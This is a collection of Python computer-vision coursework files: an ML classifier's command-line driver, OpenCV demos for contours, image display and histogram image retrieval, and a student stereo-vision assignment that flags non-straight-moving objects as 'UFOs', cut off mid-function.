# and time how long it takes to run all the tests, reported at the end.
version = "0.00"
now = datetime.datetime.now()
print ("transcript_begin %s %s %s %s" % (name, version, task_type, now))
for fn, truth, status, cls in results:
print ("result %s %s %s %s" % (fn, truth, status, cls))
print ("transcript_end %.2f" % time)
#-------------------------------------------------------------------------------
# Main program.
#-------------------------------------------------------------------------------
# Set up the names of the feature vector matchers.
MATCHERS = {
"pythag": pythag,
"manhatten": cityblock,
"correlation": corsim,
"angle": cosang,
}
# Set up the names of the learners.
LEARNERS = ["none", "cnn", "eigen", "mlp", "rf", "svm", "wisard"]
# Set up the parsing of the command line.
parser = argparse.ArgumentParser (description=__doc__)
# First, generic qualifiers.
parser.add_argument ("-data", default=".",
help="directory in which to look for images")
parser.add_argument ("-eigen", type=int, default=0,
help="if non-zero, maximum number of eigen coefficients to retain")
parser.add_argument ("-learner", choices=LEARNERS, default=LEARNERS[0],
help="the machine learning algorithm to use")
parser.add_argument ("-seed", type=int, default=0,
help="the seed of the random number generator")
parser.add_argument ("-sleep", type=int, default=10,
help="time to sleep before overwriting a knowledge base")
parser.add_argument ("-name", default="whatever",
help="name of task being performed")
parser.add_argument ("-v", action="store_true", default=False,
help="output stuff while running")
parser.add_argument ("-version", action="store_true", default=False,
help="output the version of the program")
# Qualifiers for Eigen.
parser.add_argument ("-match", default="pythag",
choices=MATCHERS,
help="feature matching criterion for eigen")
# Qualifiers for MLP.
parser.add_argument ("-epochs", type=int, default=100,
help="number of epochs for training a MLP")
parser.add_argument ("-alpha", type=float, default=1.0e-4,
help="alpha parameter when training a MLP")
parser.add_argument ("-rate", type=float, default=0.1,
help="learning rate parameter when training a MLP")
parser.add_argument ("-tol", type=float, default=1.0e-4,
help="tol parameter when training a MLP")
# Qualifiers for RF.
parser.add_argument ("-estimators", type=int,
help="number of estimators for training a RF")
# Qualifiers for SVM. The default parameter settings are from
# http://www.trungh.com/2013/04/digit-recognition-using-svm-in-python/
parser.add_argument ("-C", type=float, default=2.8,
help="SVM learning parameter C")
parser.add_argument ("-gamma", type=float, default=0.0073,
help="SVM learning parameter gamma")
# Qualifiers for WISARD.
parser.add_argument ("-nlocs", type=int, default=10,
help="number of WISARD locations to sample per tuple")
parser.add_argument ("-ntuples", type=int, default=20,
help="number of WISARD tuples")
parser.add_argument ("-threshold", type=int, default=127,
help="binarization threshold for WISARD")
# Parameters, the same for every learner.
parser.add_argument ("op", choices=("train", "test"),
help="the operation to be performed")
parser.add_argument ("kbase",
help="the 'knowledge base' to be saved or read in")
parser.add_argument ("file", nargs="+", default="",
help="the file to be processed")
# Do the parsing.
args = parser.parse_args()
# Pull the learner, operation etc from the parsed command line.
learner = args.learner
op = args.op
loud = args.v
DATADIR = [args.data]
# If the user wanted the version, output it.
if args.version:
print (timestamp[13:32])
# If necessary, set the random number generator's seed.
if args.seed == 0:
seed = random.randint (0, sys.maxsize)
if loud: message ("using seed %d" % args.seed)
random.seed (args.seed)
# If we were invoked with a single command-line argument and it ends in ".task",
# we assume it is a ELVS-compatible task file and load that. Otherwise, it
# should a (list of) image files to be used for training or testing.
if not isinstance (args.file, list): args.file = [args.file]
if len (args.file) == 1 and args.file[0].endswith (".task"):
task = load_task (args.file[0])
args.name = task["name"]
files = []
classes = []
# Pull the filenames and corresponding classes into the form we shall use
# in this program.
for f, c in task[op]:
files += [f]
classes += [c]
else:
# It's a list of filenames, in which case the filename should give the
# associated class. We need to pull them from the filenames.
files = args.file
classes = classes_from_filenames (files)
# Branch according to the operation to be performed.
if op == "train":
# Give a warning if the training file exists, pause, then overwrite it.
if os.path.exists (args.kbase):
error ("Warning: overwriting knowledge base '%s'." % args.kbase)
time.sleep (args.sleep)
# Branch according to the learning algorithm to be used.
if learner == "cnn":
if "tensorflow" not in sys.modules:
error ("You need Tensorflow enabled to use a CNN!", status=15)
kbase = train_cnn (files, classes, args.epochs, loud)
elif learner == "eigen":
kbase = train_eigen (files, classes, args.eigen, loud)
elif learner == "mlp":
kbase = train_mlp (files, classes, args.epochs, args.alpha, args.tol,
args.rate, loud)
elif learner == "rf":
# If the number of estimators wasn't set, calculate it from the number of
# filenames to be processed.
if args.estimators is None:
args.estimators = int (math.sqrt (len (files))) + 1
message ("Using %d estimators" % args.estimators)
kbase = train_rf (files, classes, args.estimators, loud)
elif learner == "svm":
kbase = train_svm (files, classes, args.C, args.gamma, loud)
elif learner == "wisard":
kbase = train_wisard (files, classes, args.nlocs, args.ntuples,
args.threshold, loud)
else:
error ("You need to choose a learning algorithm using '-L'.", status=1)
# Store away the trained 'knowledge base' into the specified file.
with open (args.kbase, "wb") as f:
pickle.dump ((args.name, learner, kbase), f)
if loud:
message ("Knowledge base saved to '%s'" % args.kbase)
elif op == "test":
# Load our knowledge from the specified file.
with open (args.kbase, "rb") as f:
name, learner, kbase = pickle.load (f)
if loud:
message ("Knowledge base %s trained using '%s' read from '%s'" \
% (name, learner, args.kbase))
# Branch according to the learning algorithm that was used.
if learner == "cnn":
if "tensorflow" not in sys.modules:
error ("You need Tensorflow enabled to use a CNN!", status=15)
results, time = test_cnn (kbase, files, classes, loud)
elif learner == "eigen":
results, time = test_eigen (kbase, files, classes,
MATCHERS[args.match], args.eigen, loud)
elif learner in ["mlp", "rf", "svm"]:
results, time = test_sklearn (kbase, files, classes, loud)
elif learner == "wisard":
results, time = test_wisard (kbase, files, classes, loud)
else:
error ("I don't know about the learner called '%s'!" % learner, status=2)
# Output the test results as a FACT-compatible transcript.
output_transcript (name, results, time)
else:
error ("Unrecognized operation '" + op + "'. (This cannot happen!)")
# Local Variables:
# time-stamp-line-limit: 100
# End:
#-------------------------------------------------------------------------------
# End of ml.
#-------------------------------------------------------------------------------
```
contours
```#!/usr/bin/env python3
"contours -- demo of OpenCV's contour-processing capabilities"
import sys, cv2
# Handle the command line.
if len (sys.argv) < 3:
print ("Usage:", sys.argv[0], "<image> <threshold>", file=sys.stderr)
sys.exit (1)
img = cv2.imread (sys.argv[1])
t = int (sys.argv[2])
print(img.shape)
# Produce a binary image.
gray = cv2.cvtColor (img, cv2.COLOR_BGR2GRAY)
#blur = cv2.GaussianBlur (gray, (5, 5), 0)
blur = cv2.GaussianBlur(gray, (49, 49), 0)
#blur = cv2.GaussianBlur(gray, (25, 25), 0)
cv2.namedWindow (sys.argv[0], cv2.WINDOW_NORMAL)
ny, nx, nc = img.shape
cv2.resizeWindow (sys.argv[0], nx//2, ny//2)
cv2.imshow(sys.argv[0], blur)
cv2.waitKey(0)
# ideal threshold: 175.
"""
threshold parameters:
src: input greyscale image
threshold: the pixel value that is being used as a threshold
maxVal: value to be given if pixel value is more than threshold
thresholdingTechnique: what way it's being thresholded.
cv2.THRESH_BINARY
if pixel value >= threshold, set to 255
else set to 0
cv2.THRESH_BINARY_INV
opposite of THRESH_BINARY
cv2.THRESH_TRUNC
if pixel value >= threshold, set to threshold
cv2.THRESH_TOZERO
if pixel value < threshold, set to 0
cv2.THRESH_TOZERO_INV
opposite of THRESH_TOZERO
+ cv2.THRESH_OTSU
You're now using Otsu Thresholding.
1st return value: given threshold value
2nd return value: modified image array
"""
#t, binary = cv2.threshold (blur, t, 255, cv2.THRESH_BINARY)
#print(t)
"""
adaptive threshold parameters
src: input image
maxVal: maximum value that can be assigned to a pixel
adaptiveMethod: how to calculate threshold
cv2.ADAPTIVE_THRESH_MEAN_C
Threshold Value = (Mean of the neighbourhood area values – constant value)
cv2.ADAPTIVE_THRESH_GAUSSIAN_C
Threshold Value = (Gaussian-weighted sum of the neighbourhood values – constant value)
thresholdType: type of thresholding to be applied
blockSize: size of pixel neighbourhood used to calculate a threshold value
constant: constant value subtracted from mean/weighted sum of neighbourhood pixels
"""
#binary = cv2.adaptiveThreshold(blur,255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
# cv2.THRESH_BINARY, 25, 12)
#blur = cv2.GaussianBlur(gray, (49, 49), 0)
thresh, binary = cv2.threshold(blur, 0, 255,
cv2.THRESH_BINARY + cv2.THRESH_OTSU)
print(thresh)
cv2.namedWindow (sys.argv[0], cv2.WINDOW_NORMAL)
ny, nx, nc = img.shape
cv2.resizeWindow (sys.argv[0], nx//2, ny//2)
cv2.imshow(sys.argv[0], binary)
cv2.waitKey(0)
edged = cv2.Canny(img, thresh, thresh, L2gradient=True)
cv2.namedWindow ("canny", cv2.WINDOW_NORMAL)
cv2.resizeWindow ("canny", nx//2, ny//2)
cv2.imshow("canny", edged)
cv2.waitKey(0)
# Find contours.
"""
arguments
source image
binary
objects to find: white
background: black
2nd argument; what contours are to be found
cv2.RETR_EXTERNAL
outermost edges
cv2.RETR_TREE
heirarchy.
outermost contours at top
moving down; inner contours
cv2.CCOMP
3rd: whether or not to simplify the contours
cv2.CHAIN_APPROX_SIMPLE
Simplify with line segments when possible
returns
1st
list of numpy arrays, each holding points for one contour
2nd
numpy array for contour hierarchy
1 row, n columns (one for each contour), depth of 4
depth contains indices for other contours
[next, previous, firstChild, parent]
next: next in this level
previous: previous in this level
firstChild: first child contour
parent: the contour containing this contour
-1 indicates no such contour exists
"""
#contours, _ = cv2.findContours (binary, cv2.RETR_EXTERNAL,
# cv2.CHAIN_APPROX_SIMPLE)
# Print a table of the contours and their sizes.
#print ("Found %d objects." % len(contours))
#for (i, c) in enumerate(contours):
# print ("\tSize of contour %d: %d" % (i, len(c)))
(contours, heirarchy) = cv2.findContours(binary, cv2.RETR_TREE,
cv2.CHAIN_APPROX_SIMPLE)
# Count the number of dots on the dice faces.
# We do this by iterating over
# hierarchy[0], first to find the indices of the dice contours, then again
# to find the dot contours.
dice = [] # list of dice contours
dots = [] # list of dot contours
innerBits = [] # list of the bits of lost paint
# find dice contours
for (i, c) in enumerate(heirarchy[0]):
if c[3] == -1:
dice.append(i)
# Now find the dots
for (i, c) in enumerate (heirarchy[0]):
if c[3] in dice:
dots.append(i)
print("Total number of dots: ", len(dots))
for (i, c) in enumerate(heirarchy[0]):
if c[3] in dots:
innerBits.append(i)
red = (0, 0, 255)
green = (0, 255, 0)
blue = (255, 0, 0)
for i in dice:
# 2nd arg -1: signifies drawing all contours.
cv2.drawContours(img, contours[i], -1, red, 5)
for i in dots:
cv2.drawContours(img, contours[i], -1, green, 5)
for i in innerBits:
cv2.drawContours(img, contours[i], -1, blue, 5)
# Draw contours over original image and display the result.
#cv2.drawContours (img, contours, -1, (0, 0, 255), 5)
cv2.namedWindow (sys.argv[0], cv2.WINDOW_NORMAL)
ny, nx, nc = img.shape
cv2.resizeWindow (sys.argv[0], nx//2, ny//2)
cv2.imshow (sys.argv[0], img)
cv2.waitKey (0)
```
lecture1_commandlinearg.py
```#!/usr/bin/env python3
import cv2, sys
im = cv2.imread(sys.argv[1])
cv2.imshow("nice", im)
cv2.waitKey(0)
print("done")```
cbir3
```#!/usr/bin/env python3
"Demonstrate content-based image retrieval using histograms"
import sys, math, cv2, numpy
# The number of bins in a histogram.
NBINS = 64
#------------------------------------------------------------------------------
def compare (h1, h2):
"Work out the correlation between two histograms"
sumx = sumy = sumxx = sumyy = sumxy = 0.0
n = len (h1)
for i in range (0, n):
v1 = float (h1[i])
v2 = float (h2[i])
sumx += v1
sumy += v2
sumxx += v1 * v1
sumxy += v1 * v2
sumyy += v2 * v2
v1 = sumxy - sumx * sumy / n
v2 = math.sqrt((sumxx-sumx*sumx/n) * (sumyy-sumy*sumy/n))
return abs (v1 / v2)
def histogram (im):
"""Determine the histogram of an image -- simple version copied from
lab-01's summarize program."""
MAXGREY = 256
imRed = im[:,:,2]
imGreen = im[:,:,1]
imBlue = im[:,:,0]
redHist = cv2.calcHist([imRed],[0],None,[256],[0,256])
greenHist = cv2.calcHist([imGreen],[0],None,[256],[0,256])
blueHist = cv2.calcHist([imBlue],[0],None,[256],[0,256])
hist = numpy.vstack((redHist,greenHist,blueHist))
assert len(hist) == 256 * 3
# Return the histogram we have computed.
return hist
#------------------------------------------------------------------------------
# Say hello and initialize things.
if len(sys.argv) < 3:
print ("Usage:", sys.argv[0], "<probe> <test-images>", file=sys.stderr)
sys.exit (1)
probe_file = sys.argv[1]
v_best = 0
f_best = "?"
# Read in the probe image and find its histogram.
im = cv2.imread (probe_file)
probe = histogram (im)
# We now enter the main loop. The basic idea is to load an image, find its
# histogram, then compare that with the histogram of the probe image. We are
# careful to skip the case when the test image is the same as the probe.
for file in sys.argv[2:]:
if file != probe_file:
im = cv2.imread (file)
h = histogram (im)
v = compare (probe, h)
if v > v_best:
v_best = v
f_best = file
#break
# We've finished our work, so say which of the test set best matches the
# probe and exit.
print (f_best)
```
ce316ass.py
```"""
---
**ce316ass.py**
---
---
**PURPOSE:**
---
Given:
* A number of frames to look at
* Must be at least 1. Can't really look at less than 1 frame, y'know?
* Templates for filenames for left/right images
* such as left-%03d.png and right-%03d.png
* Image files, which can be opened, with filenames that conform to the
aforementioned templates
* They must be of the same dimensions as each other.
* If the dimensions differ, the program will terminate with an error
message.
* They must be openable.
* If they cannot be opened, the program will terminate with an error
message.
This will:
* Identify objects identified in the images
* Assumptions
* Assumes that the objects have these HSV values
* Cyan
* Hue 180
* Red
* Hue 0
* Saturation of at least 1/256
* White
* Hue 0
* Saturation 0
* Value of at least 1/256 (and not in 'cyan')
* Blue
* Hue 240
* Saturation of at least 1/256
* Value of at least 1/256
* Green
* Hue 120
* Saturation of at least 1/256
* Value of at least 1/256
* Yellow
* Hue 60 (and not in 'orange')
* Saturation of at least 1/256
* Orange
* Hue 40-58
* Assumes there will be only one object of the given colour in the image
* or 0 objects of that given colour :shrug:
* Assumes that the objects are not overlapping
* Limitations
* If any object is at the boundary of the image, it will be rejected.
* This is because, if it's at the boundary, the midpoint calculated
is likely to be *very* inaccurate (because the object is likely to
have been cut off somewhat), so, instead of dealing with that
headache, it's just ignored.
* If the x midpoint of an object in both images is identical, that
object will be ignored because python doesn't like dividing by 0.
* For each of the objects identified in every frame
* Print their distance (in terms of Z depth) from the cameras, in metres.
* Along with their full X, Y, Z position from the cameras
* Assuming
* X baseline of 3500 metres
* Y baseline of 0
* Focal length of 12 metres
* Pixel spacing of 10 microns
* Limitations
* If an object is not present in both images, it shall be ignored, due
to not having full information about the x disparity for that frame.
* If an object is at the edge of one of the images, it will also be
ignored, due to the lack of accurate information about midpoints
* Work out the trajectories of each of the objects, printing a space-delimited
list of the identifiers of the objects that are probably UFOs (not moving
in a straight line)
* Assuming
* The object's position could be worked out for at least 3 frames.
* If fewer than 3 positions are known, there won't be enough points
in the line for the line to actually bend, so it'll treat it like
an asteroid.
* This is calculated via (ab)use of the dot products of unit vectors.
* Gets a normalized version of the vector between the first position and
the last position of the object in 3D space during these frames
* Also gets a normalized version of the vector that describes the
movement of the object between each 'frame'
* If this normalized vector is (0, 0, 0), we omit it because it will
completely mess up the maths.
* Finds the dot product of the normalized current frame movement vector
and the normalized total movement vector.
* Puts it on a list with all the found dot products
* Works out what 5% of the count of found dot products is
* Two unit vectors are equal if their dot product = 1.0
* Goes through that list of dot products, working out if that
dot product isClose to 1.0 (using isClose (hey!), to 9dp)
* We're using floats, and there's some inaccuracy with the
position measurement, so we know that we're not going to get
any dots that actually are going to be exactly 1.0
* If at least ~5% of the dots are **not** isClose to 1.0
* I am not ~95% sure that the line is straight, so, I'll accept the
null hypothesis that the object in question is a UFO.
---
**USAGE**
---
* python3 ce316ass.py 50 left-%03d.png right-%03d.png
* Assuming you have images called 'left-000.png' numbered to 'left-049.png',
and 'right-000.png' numbered to 'left-049.png' in this directory,
following all the assumptions/constraints in the 'PURPOSE' thing,
this will run.
---
**AUTHOR**
--
Student 1804170
All the code written within this program is entirely my own work.
--
**RESULTS**
--
Given the sample data, this program produces an output of:
UFO: cyan white blue yellow orange
I was expecting Cyan to be a UFO. However, I wasn't really expecting the others
to be UFOs.
This is using a 'straightLineMaxUncertainty' global variable, which is defined
just above the 'isThisAStraightLine' function. Basically, if that proportion of
unit vector versions of the movement of the object between the frames are not
close enough to the unit vector of the start position to end position movement
(worked out 'if the dot of current movement and total movement = 1', because yay
dot product abuse), we can't confidently say it's a straight line, therefore,
we'll assume it's an asteroid.
straightLineMaxUncertainty must be between 0.0 and 1.0 (inclusive). If there
are very few current movements, the minimum 'sus' threshold will be 1.
Here's some outputs of the program with different 'straightLineMaxUncertainty'
values (specifically, the lowest values where I noticed a change in the number
of UFOs that were output).
* 0
* UFO: cyan red white blue yellow orange
* 0.05
* UFO: cyan white blue yellow orange
* 0.0625
* UFO: cyan blue yellow orange
* 0.075
* UFO: cyan blue orange
* 0.11
* UFO: cyan blue
* 0.125
* UFO: cyan
* 0.35
* UFO:
Green was never detected as a UFO.
Then there was the problem of what threshold to use.
So we need to consider the context of the problem.
The problem is 'which of these things are aliens trying to attack earth and nick
our PDMS'. Which, to me, sounds like the sort of program where false negatives
are more dangerous than false positives.
Therefore, to minimize the chance of false positives, and also to satisfy the
self-declared stats person inside me, I am going to stick with the 95% 'is not
UFO' confidence-y threshold thing.
So basically, when you see 'UFO' on the printout, read '>5% not an asteroid'.
Because if I'm not 95% confident of it being an asteroid (by having more than 5%
of the dot products of normalized movements * overall normalized movement not be
close to 1), I'm going to accuse it of being a UFO.
Yes, I know, probably wasting shots with the thing that shoots the objects.
However, seeing as not all of the objects are listed as 'UFOs' when using this
threshold, I'm confident that I'm not getting *too* many false positives, so I'm
considering it to be good enough.
---
It runs pretty quickly though which is nice I guess.
6 seconds on the lab VMs!
"""
# and time for some stuff to be imported.
import sys
# we need the command line arguments, the ability to quit, and the error stream
from math import sqrt, isclose # we need these for some of the maths.
from typing import Tuple, List, Dict, Union # No excuse to not type annotate.
import cv2
# we're doing computer vision, so opencv is also pretty darn useful.
import numpy as np # and it involves some numpy.ndarray objects!
"""
--DEBUGGING FUNCTIONS FOR SEEING HOW THINGS WORK--
You ever wanted to see what goes on under the hood with this program?
No?
Either way, here are some functions that can be used for debugging.
Some code later on does have inbuilt debugging functions.
"""
debugging: bool = False
"""
Set this to 'True' if you want to enable these debug functions.
Or just keep it as 'False' if you want to just run the thing.
"""
def debug(leftFilename: str, rightFilename: str,
leftIm: np.ndarray, rightIm: np.ndarray, frameNum: int = 0) -> None:
"""
The wrapper function for the debugging functions, called by the main program
if 'debug' is set to True.
:param leftFilename: filename of the left image
:param rightFilename: filename of the right image
:param leftIm: the left image, BGR format
:param rightIm: the right image, BGR format
:param frameNum: What frame this is (used for labelling the mask
previews). If not defined, defaults to 0.
:return: nothing.
"""
# prints the filenames, to make sure they're correct
print(leftFilename)
print(rightFilename)
# shows the left and right images
cv2.imshow("left", leftIm)
cv2.imshow("right", rightIm)
handleShowingStuff()
showMasksForDebugging(leftIm, rightIm, frameNum)
# and then proceeds to show all the masks produced for each object in
# the left and the right images.
# noinspection PyPep8Naming
def getObjectMasks(hsvIn: np.ndarray) -> Tuple[np.ndarray, np.ndarray,
np.ndarray, np.ndarray,
np.ndarray, np.ndarray,
np.ndarray]:
"""
Generates the object masks for a given HSV image.
Yes, this uses some tuples that are defined as global variables in the
'actually important code' section after this section of debugging code,
because those tuples are part of the 'actually important code'.
This has been done so, if this debugging code section is removed (along with
the one branch in the main program that may potentially call this code),
Either way, this function won't be run until after those declarations are
reached, so no harm no foul or something along those lines.
This code is explained better in the 'getObjectMidpoints' function,
which has code that's basically identical to this.
You're probably going to ask 'why have you duplicated the code?'
Short answer: I don't want the production code to have a dependency on
this debug code, and, if this debug code was to be omitted, I'd have a
redundant dependency in the production code.
:param hsvIn: the hsv image that contains the objects
:return: masks for each of the 7 coloured objects that are in it.
(cyan, red, white, blue, green, yellow, orange)
"""
cyan_mask: np.ndarray = cv2.inRange(hsvIn, min_cyan, max_cyan)
red_mask: np.ndarray = cv2.inRange(hsvIn, min_red, max_red)
white_mask: np.ndarray = cv2.inRange(hsvIn, min_white, max_white)
blue_mask: np.ndarray = cv2.inRange(hsvIn, min_blue, max_blue)
green_mask: np.ndarray = cv2.inRange(hsvIn, min_green, max_green)
yellow_mask: np.ndarray = cv2.inRange(hsvIn, min_yellow, max_yellow)
orange_mask: np.ndarray = cv2.inRange(hsvIn, min_orange, max_orange)
cyan_mask = cv2.morphologyEx(cyan_mask, cv2.MORPH_CLOSE, kernel33)
white_mask = cv2.subtract(white_mask, cyan_mask)
orange_mask = cv2.morphologyEx(orange_mask, cv2.MORPH_CLOSE, kernel33)
yellow_mask = cv2.subtract(yellow_mask, orange_mask)
return (cyan_mask, red_mask, white_mask, blue_mask,
green_mask, yellow_mask, orange_mask)
# noinspection PyPep8Naming
def getStereoMasks(left_in: np.ndarray, right_in: np.ndarray) -> \
List[Tuple[np.ndarray, np.ndarray]]:
"""
Generates a list of masks for the left and right stereo images
:param left_in: the left image.
:param right_in: the right image.
:return: a list of tuples containing the masks for each of the images.
Tuples are in the form (left image mask, right image mask).
The list itself is in the order
cyan->red->white->blue->green->yellow->orange.
"""
leftMasks: Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray,
np.ndarray, np.ndarray, np.ndarray] =\
getObjectMasks(cv2.cvtColor(left_in, cv2.COLOR_BGR2HSV))
rightMasks: Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray,
np.ndarray, np.ndarray, np.ndarray] =\
getObjectMasks(cv2.cvtColor(right_in, cv2.COLOR_BGR2HSV))
theMasks: List[Tuple[np.ndarray, np.ndarray]] = []
for i in range(0, 7):
theMasks.append((leftMasks[i], rightMasks[i]))
return theMasks
# noinspection PyPep8Naming
def showMasksForDebugging(i_left: np.ndarray, i_right: np.ndarray, f: int) -> \
None:
"""
This is here mostly for debugging purposes, showing the masks of each image.
The 'left' image will have some text on it with the colour name identifier
of the object, as well as what number frame this is.
Apologies in advance if the annotations overlap with the position of
one of the objects in the set of images you are using to mark this.
:param i_left: left image (BGR format)
:param i_right: right image (BGR format)
:param f: frame number
:return: nothing.
"""
# order in which the masks of objects are returned
objectOrder: List[str] = \
["cyan", "red", "white", "blue", "green", "yellow", "orange"]
i: int = 0
debugMasks: List[Tuple[np.ndarray, np.ndarray]] =\
getStereoMasks(i_left, i_right) # the masks for each image.
for m in debugMasks:
showLeft: np.ndarray = np.ndarray.copy(m[0]) # copy of the left mask
label: str = str(objectOrder[i]) + " " + str(f)
print(label)
# puts some text with object id and frame num on the left mask copy.
cv2.putText(showLeft, label, (50, 50),
cv2.FONT_HERSHEY_SIMPLEX, 1, 255, 2, cv2.LINE_AA)
# and shows the left/right masks
cv2.imshow("left", showLeft)
cv2.imshow("right", m[1])
handleShowingStuff()
# finds midpoints of the object on the mask
leftMid: Tuple[float, float] = getObjectMidpoint(m[0])
rightMid: Tuple[float, float] = getObjectMidpoint(m[1])
print(leftMid)
print(rightMid)
showLeft: np.ndarray = cv2.bitwise_and(i_left, i_left, mask=m[0])
showRight: np.ndarray = cv2.bitwise_and(i_right, i_right, mask=m[1])
# puts the annotation on the left copy again.
cv2.putText(showLeft, label, (50, 50),
cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2,
cv2.LINE_AA)
if leftMid != (-1, -1):
# if the left midpoint is valid, it's put on the left copy as a
# magenta dot at the int version of the midpoint.
iLeftMid: Tuple[int, int] = (int(leftMid[0]), int(leftMid[1]))
cv2.line(showLeft, iLeftMid, iLeftMid, (255, 0, 255), 1)
if rightMid != (-1, -1):
# ditto for the right image.
iRightMid: Tuple[int, int] = (int(rightMid[0]), int(rightMid[1]))
cv2.line(showRight, iRightMid, iRightMid, (255, 0, 255), 1)
# and shows them.
cv2.imshow("left", showLeft)
cv2.imshow("right", showRight)
handleShowingStuff()
i += 1
# noinspection PyPep8Naming
def handleShowingStuff() -> None:
"""
This is here to handle actually showing stuff when debugging the program.
Prints something to console to let the user know that they need to press
something to continue, handles doing the cv2.waitKey(0) call (thereby
allowing any pending cv2.imshow()'d images to be shown), and,
if q or escape are pressed, the program will close.
:return: nothing is returned.
"""
print("press something to continue (press q or escape to quit)")
key: int = cv2.waitKey(0)
# quit if escape (27) or q (113) are pressed
if key == 27 or key == 113:
cv2.destroyAllWindows()
print("quitting!")
sys.exit(0)
"""
-- THE ACTUALLY IMPORTANT CODE THAT ACTUALLY DOES STUFF --
Yep. Everything from here is actually of some use.
"""
"""
~~~~~~ A VECTOR3D CLASS (and also a function that uses it) ~~~~~~
This is used later on, represents points in 3D space
"""
class Vector3D:
"""
A class to represent a vector in 3D space.
This code was written by myself, but I fully acknowledge that somebody else
has probably written a python implementation of a 3D vector before, so any
relationship between this Vector3D and another implementation of Vector3D
is entirely coincidental.
This implementation just contains a normalize, subtract, isZero, dot product
, and __str__ method (as well as a constructor ofc), because that's all
the math stuff I needed for this particular use case.
References for particular sources for math stuff (when used) have been given
in the methods for each of the functions that use the math stuff.
Now, you may ask yourself 'why is a class being used, when a tuple could
do the same thing?'. Simple answer; encapsulation (so I have the methods all
in the same place as each other). And also making sure I don't get confused
between tuples of floats and 3D vectors. The mutability is also nice for the
subtraction and the normalization stuff.
"""
def __init__(self, x: float, y: float, z: float):
"""
Constructs a Vector3D with the given x, y, and z coordinates
:param x: x coordinate
:param y: y coordinate
:param z: z coordinate
"""
self.x: float = x
self.y: float = y
self.z: float = z
def magnitude(self) -> float:
"""
dist between 2 3D points:
sqrt(((x2-x1)^2) + ((y2-y1)^2) + ((z2 - z1)^2))
and we know that x1,y1,z1 = 0 already (because vector comes from origin
0) and x2, y2, and z2 are the x, y, and z of this vector.
Got the maths from https://www.calculator.net/distance-calculator.html
:return: the magnitude of this vector
"""
return sqrt((self.x ** 2) + (self.y ** 2) + (self.z ** 2))
def normalized(self) -> "Vector3D":
"""
Normalizes this Vector3D (makes the magnitude 1 by dividing all the
components of this Vector3D by its magnitude)
:return: This Vector3D, but with a magnitude of 1 instead.
if this already had a magnitude of 0, it'll return itself as-is.
"""
mag: float = self.magnitude()
if mag > 0:
self.x = self.x / mag
self.y = self.y / mag
self.z = self.z / mag
return self
def subtract(self, other: "Vector3D") -> "Vector3D":
"""
Subtracts the other Vector3D from this Vector3D, returning this
modified Vector3D.
Didn't need to get the maths from anywhere because subtraction is pretty
darn simple and doesn't have any weirdness.
:param other: the other Vector3D to subtract from this.
:return: this Vector3D minus 'other'. Would have type-annotated the
return type as Vector3D, but python didn't like that.
"""
self.x -= other.x
self.y -= other.y
self.z -= other.z
return self
def dot(self, other: "Vector3D") -> float:
"""
Returns the dot product of this Vector3D and the other Vector3D.
Got the maths from https://www.quantumstudy.com/physics/vectors-2/
:param other: the other Vector3D this is being dot product-ed against.
:return: the dot product of this and the other vector3D
"""
return (self.x * other.x) + (self.y * other.y) + (self.z * other.z)
# noinspection PyPep8Naming
def isZero(self) -> bool:
"""
Check if this vector is (0,0,0)
:return: Returns true if x, y and z are exactly equal to 0
"""
return (self.x == 0) and (self.y == 0) and (self.z == 0)
def __str__(self) -> str:
"""
Outputs this as a string; as a tuple in the form (x, y, z)
:return: a string of the tuple (self.x, self.y, self.z)
"""
return str((self.x, self.y, self.z))
# noinspection PyPep8Naming
def normalizeVectorBetweenPoints(fromVec: Vector3D, toVec: Vector3D) ->\
Vector3D:
"""
Get lhs-rhs but normalized instead (leaving lhs and rhs untouched)
>>> normalizeVectorBetweenPoints(Vector3D(0,0,0),Vector3D(1,1,1))
(0.5773502691896258, 0.5773502691896258, 0.5773502691896258)
>>> normalizeVectorBetweenPoints(Vector3D(0,0,0),Vector3D(2,2,2))
(0.5773502691896258, 0.5773502691896258, 0.5773502691896258)
>>> normalizeVectorBetweenPoints(Vector3D(0,0,0),Vector3D(1,1.5,2))
(0.3713906763541037, 0.5570860145311556, 0.7427813527082074)
>>> normalizeVectorBetweenPoints(Vector3D(1,1,1),Vector3D(1,1,1))
(0, 0, 0)
:param fromVec: going from this vector
:param toVec: to this other vector
:return: toVec - fromVec but normalized. Or in other words, the direction of
movement from the position 'fromVec' to the position 'toVec'
"""
return Vector3D(toVec.x, toVec.y, toVec.z)\
.subtract(fromVec)\
.normalized()
"""
~~~~~ READING IMAGES, FINDING OBJECTS, AND ALSO CALCULATING AND
PRINTING THE POSITIONS OF SAID OBJECTS ~~~~~
These functions (and also globals) are responsible for finding and printing the
positions of the objects in 3D space.
"""
# HSV values to be used to extract the objects from the image.
min_cyan: Tuple[int, int, int] = (90, 0, 0)
"""minimum HSV threshold for the cyan object"""
max_cyan: Tuple[int, int, int] = (90, 255, 255)
"""maximum HSV threshold for the cyan object"""
min_red: Tuple[int, int, int] = (0, 1, 0)
"""minimum HSV threshold for the red object"""
max_red: Tuple[int, int, int] = (0, 255, 255)
"""maximum HSV threshold for the red object"""
min_white: Tuple[int, int, int] = (0, 0, 1)
"""minimum HSV threshold for the white object"""
max_white: Tuple[int, int, int] = (0, 0, 255)
"""maximum HSV threshold for the white object"""
min_blue: Tuple[int, int, int] = (120, 1, 1)
"""minimum HSV threshold for the blue object"""
max_blue: Tuple[int, int, int] = (120, 255, 255)
"""maximum HSV threshold for the blue object"""
min_green: Tuple[int, int, int] = (60, 1, 1)
"""minimum HSV threshold for the green object"""
max_green: Tuple[int, int, int] = (60, 255, 255)
"""maximum HSV threshold for the green object"""
min_yellow: Tuple[int, int, int] = (30, 1, 0)
"""minimum HSV threshold for the yellow object"""
max_yellow: Tuple[int, int, int] = (30, 255, 255)
"""maximum HSV threshold for the yellow object"""
min_orange: Tuple[int, int, int] = (20, 0, 0)
"""minimum HSV threshold for the orange object"""
max_orange: Tuple[int, int, int] = (29, 255, 255)
"""maximum HSV threshold for the orange object"""
kernel33: np.ndarray = np.ones((3, 3), np.uint8)
"""
A 3*3 numpy array of 1s, to be used when closing up holes in some of the masks
"""
# noinspection PyPep8Naming
def getObjectMidpoint(objectMask: np.ndarray) -> Tuple[float, float]:
"""
Returns the midpoint of the region of 1s in the given binary image array
If there is no region of 1s, we return (-1,-1). If there's a 1 on the
